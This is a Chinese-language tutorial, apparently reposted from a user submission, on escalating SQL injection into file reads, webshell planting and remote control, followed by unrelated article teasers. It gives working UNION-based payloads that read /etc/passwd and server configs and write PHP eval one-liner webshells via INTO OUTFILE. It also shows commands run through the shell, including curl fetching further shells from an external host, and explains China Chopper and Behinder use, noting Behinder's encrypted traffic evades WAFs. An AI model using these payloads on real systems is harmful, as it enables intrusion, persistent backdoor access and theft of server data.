sql 注入(2), 文件读写 木马植入 远程控制

sql 注入 文件读写 木马植入 远程控制

一, 检测读写权限

查看mysql全局变量

   SHOW GLOBAL VARIABLES LIKE '%secure%'secure_file_priv =, 则任意读写secure_file_priv = 路径, 则只能读写该路径下的文件secure_file_priv = NULL, 则禁止读写

二, 读取文件, 使用 load_file() 函数

先尝试读取系统常见的固定目录, 或者异常报出来目录
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
( select load_file( "/etc/passwd" )  ), 5, 6http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
( select load_file( "/opt/lampp/etc/httpd.conf" )  ), 5, 6其他的不确定的目录与文件名可以通过 burpsuit 用字典爆破.

三, 写入一句话木马, 使用sql “into outfile” 语句

1. 先尝试写入某个目录
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
"hello world", 5, 6 into outfile "/opt/lampp/htdocs/security/mm.php" 
2. 写入后尝试用url访问这个文件, 如果404找不到对象,
可能当前目录没有写权限:
"Can't create/write to file '/opt/lampp/htdocs/security/mm.php' (Errcode: 13 "Permission denied")"
3. 继续找下一级目录继续写入测试
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
"hello world", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php" 
4. 测试成功, 写入一句话木马
使用eval()函数, 通过url中传入的参数字符串交给eval执行.
4.1 使用 GET 请求: “<?php @eval($_GET['cmd']);?>”
    写入木马文件到服务器http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, "<?php @eval($_GET['cmd']);?>", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php"     使用url访问木马文件, 传入需要执行的代码http://192.168.112.200/security/test/mm.php?cmd=phpinfo();.../mm.php?cmd=echo date('Y-m-d');.../mm.php?cmd=system('ifconfig');.../mm.php?cmd=system('cat /etc/passwd');# 远程下载其他木马文件.../mm.php?cmd=system('curl http:/xxx/xxx/xxx.php')
4.2 使用POST 请求: “<?php @eval($_POST['cmd']);?>”
    写入木马文件到服务器http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, "<?php @eval($_POST['cmd']);?>", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php" 使用url访问木马, 使用 POST 请求提交参数.URL:  http://192.168.112.200/security/test/mm.phpDATA: cmd=system('cat /etc/passwd');

四, 远程工具: 中国菜刀

说明: 这是一个远程控制工具, 依赖于已经植入的木马. 使用中国菜刀可以方便的利用木马文件, 代替手工反复post命令来查看服务器的数据, 例如浏览文件目录, 数据库等等(具体能执行的命令依赖于权限, 与进一步提权有关).准备工作:已经向服务器写入了post类型的一句话木马.例如:http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, "<?php @eval($_POST['cmd']);?>", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php" 工具操作:1. 在中国菜刀的窗口空白处 [右键], [添加], 写入木马[地址], [参数名], [编码格式]等. 例如:地址: http://192.168.112.200/security/test/mm.php参数名: cmd2. 在添加的地址列表处 [右键], 即可选择 [文件管理], [数据库], [虚拟终端] 等功能.缺点:菜刀是采用base64编码传输, 等于是明文传输, 容易被WAF进行防护.

五, 远程工具: Behinder 冰蝎

说明:这是一个远程控制工具, 参数采用加密传输, 不容易被WAF防护.服务器需要对传输的数据进行解密, 因此需要先将包含加密通信key的shell代码写入或上传到目标服务器.各种语言的 shell 代码在 server 文件夹中, shell 文件中记录了连接用的密钥key.密钥也可以自己定义, 定义规则在注释中.建议使用一句话木马通过curl将shell代码从自己的地址把文件下载到服务器上, 例如:.../mm.php?cmd=system('curl http:/xxx/shell.php > /opt/lampp/htdocs/security/test/shell.php')    准备:1. 将shell代码传入目标服务器, 比如将 shell.php 中的代码通过一句话木马写入到服务器.或者有条件将shell.php 直接上传到服务器. 2. 打开behinder界面, [右键], [添加], 输入木马[URL], [连接密码](在shell.php文件中查看), 保存.3. 双击或者右键打开连接, 连接后默认会显示phpinfo()的信息.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/106463.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql误删误操作恢复数据,比传统方式和binlog2sql更快速用的恢复方式-reverse_sql恢复数据(单表多表)

场景&#xff1a; 误操作删除了某个表的数据&#xff0c;本文只讲工具的使用&#xff0c;首先自己通过mysqlbinlog或者记录找到误操作的时间范围&#xff1a;开始时间和结束时间&#xff0c;已经确定好是哪个binlog了下面以误删为例。 查看binlog是否开启 show variables like …

SpringBoot面试题2:SpringBoot与SpringCloud 区别?SpringBoot和Spring、SpringMVC的区别

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:SpringBoot与SpringCloud 区别? Spring Boot 和 Spring Cloud 是 Spring 生态系统中的两个关键组件,它们有以下区别: 定位:Spring Boot 用于简…

Node.js中Buffer API详解

Node.js中Buffer API详解 在Node.js中&#xff0c;Buffer是一个用于处理二进制数据流的全局对象&#xff0c;它类似于数组&#xff0c;但可以存储任意大小的数据。Buffer对象是由C代码实现的底层结构&#xff0c;而JavaScript代码则提供了一些高级的API。本文将介绍Node.js中B…

数据结构:队列

特点 只允许在一端进行插入数据操作&#xff0c;在另一端进行删除数据操作的特殊线性表&#xff0c;队列具有先进先出 FIFO(First In First Out) 入队列&#xff1a;进行插入操作的一端称为 队尾&#xff08; Tail/Rear &#xff09; 出队列&#xff1a;进行删除操作的一端称…

c#设计模式-行为型模式 之 备忘录模式

&#x1f680;简介 备忘录模式&#xff08;Memento Pattern&#xff09;是一种行为型设计模式&#xff0c;它保存一个对象的某个状态&#xff0c;以便在适当的时候恢复对象。所谓备忘录模式就是在不破坏封装的前提下&#xff0c;捕获一个对象的内部状态&#xff0c;并在该对象…

一致性公式证明

首先&#xff0c;假设存在两个不同的聚类假设 f 1 f^1 f1和 f 2 f^2 f2&#xff0c;它们在两个视角上的聚类结果分别为 y 1 ∈ { − 1 , 1 } n y^1\in\{-1,1\}^n y1∈{−1,1}n和 y 2 ∈ { − 1 , 1 } n y^2\in\{-1,1\}^n y2∈{−1,1}n。 证明一致性不等式&#xff1a; ​ …

Matlab-ODE45:求解状态变量(微分方程组)

ode45函数 ode45实际上是数值分析中数值求解微分方程组的一种方法&#xff0c;4阶五级Runge-Kutta算法。 调用方法 ​ 其实这种方程的每一个状态变量都是t 的函数&#xff0c;我们可以从现代控制理论的状态空间来想。因此返回[ t , x ]&#xff0c;其中t是一个列向量&#xf…

Hadoop3教程(十一):MapReduce的详细工作流程

文章目录 &#xff08;94&#xff09;MR工作流程Map阶段Reduce阶段 参考文献 &#xff08;94&#xff09;MR工作流程 本小节将展示一下整个MapReduce的全工作流程。 Map阶段 首先是Map阶段&#xff1a; 首先&#xff0c;我们有一个待处理文本文件的集合&#xff1b; 客户端…

机器学习——奇异值分解二(特征分解+SVD纯理解)

矩阵的特征分解 特征值和特征向量的定义 抄来的&#xff1a;奇异值分解 困惑1&#xff1a;特征值和特征向量&#xff0c;和原矩阵是怎样的关系&#xff0c;需要一个栗子进行更具象的认识 困惑2&#xff1a;为什么多个特征向量组合成的矩阵&#xff0c;可以构成矩阵A的特征分解…

自动驾驶中的数据安全和隐私

自动驾驶技术的发展已经改变了我们的出行方式&#xff0c;但伴随着这项技术的普及&#xff0c;数据安全和隐私问题也变得愈发重要。本文将探讨自动驾驶中的数据收集、数据隐私和安全挑战&#xff0c;以及如何保护自动驾驶系统的数据。 自动驾驶中的数据收集 在自动驾驶技术中…

【Wifi】Wifi架构介绍

Wifi架构介绍 本文基于Android介绍其Wifi架构。Wifi是许多操作系统提供的重要功能之一&#xff0c;特别是越来越多的车载系统wifi是其必备功能。为啥wifi是必备功能&#xff1f; 一方面是传统的上网&#xff08;现在有些车载使用DCM模块管理网络&#xff09;&#xff0c;另一方…

Spring MVC 和Spring JDBC

目录 Spring MVC MVC模式 核心组件 工作流程 Spring JDBC Spring JDBC功能和优势 Spring JDBC的关键组件 Spring MVC Spring MVC&#xff08;Model-View-Controller&#xff09;是Spring框架的一个模块&#xff0c;用于构建Web应用程序。它的主要目标是将Web应用程序的不…

B2R Raven: 2靶机渗透

B2R Raven: 2靶机渗透 视频参考&#xff1a;ajest &#xff1a;https://www.zhihu.com/zvideo/1547357583714775040?utm_id0 原文参考&#xff1a;ajest &#xff1a;https://zhuanlan.zhihu.com/p/270343652 文章目录 B2R Raven: 2靶机渗透1 启动靶机&#xff0c;查看后网卡…

CocosCreator 面试题(十一)Cocos Creator 屏幕适配

Cocos Creator 提供了多种屏幕适配的方式&#xff0c;以确保游戏在不同设备上能够正确显示和布局。 以下是 Cocos Creator 中常用的屏幕适配方式及其说明。 1、 Cocos Creator 项目设置中统一配置设计分辨率和屏幕适配 在同一个项目里的多个 Canvas 的设计分辨率仍然采用同一…

HBuilder创建uniapp默认项目导入uview(胎教)

1&#xff1a;更新HBuilder 建议更新 2&#xff1a;更新插件 我本人在没有更新插件的情况下报错了&#xff0c;找到了**这个大佬**解决问题&#xff0c;所以建议更新插件 先卸载uni-app&#xff08;Vue2&#xff09;编译 再重新安装 uni-app&#xff08;Vue2&#xff09;…

qemu基础篇——VSCode 配置 GDB 调试

文章目录 VSCode 配置 GDB 调试安装 VSCode 插件调试文件创建调试配置配置脚本qemu 启动脚 启动调试报错情况一报错情况二报错情况三 调试界面运行 GDB 命令查看反汇编断点查看内核寄存器查看变量参考链接 VSCode 配置 GDB 调试 qemu-基础篇——arm 裸机调试环境搭建 上一节中…

LuaJit交叉编译移植到ARM Linux

简述 Lua与LuaJit的主要区别在于LuaJIT是基于JIT&#xff08;Just-In-Time&#xff09;技术开发的&#xff0c;可以实现动态编译和执行代码&#xff0c;从而提高了程序的运行效率。而Lua是基于解释器技术开发的&#xff0c;不能像LuaJIT那样进行代码的即时编译和执行。因此&…

2023年最新Python大数据之Python基础【七】管理系统

文章目录 7、学生管理系统8、函数递归9、lambda函数后记 7、学生管理系统 # 需求拆分:1.展示学生管理系统的功能有哪些,引导用户键入序号选择功能 2.获取用户键入的功能 3.分析具体要执行哪一项功能 4.执行功能 def print_all_option():"""用户功能界面展示&qu…

利用ChatGPT练习口语

目录 ChatGPT 这两天发布了一个激动人心的新功能&#xff0c;App端&#xff08;包括iOS和Android&#xff09;开始支持语音对话以及图片识别功能。 这两个功能一如既往的优先开放给Plus用户使用&#xff0c;现在将App更新到最新版本&#xff0c;就能体验。 为什么说激动人心&a…

Bean实例化的三级缓存

在Spring框架中&#xff0c;Bean实例化的三级缓存&#xff08;三级缓存也称为三级缓存机制&#xff09;是用于缓存Bean定义的一种机制&#xff0c;用于管理和加速Spring容器中Bean的创建和初始化过程。三级缓存包括了singletonObjects、earlySingletonObjects 和 singletonFact…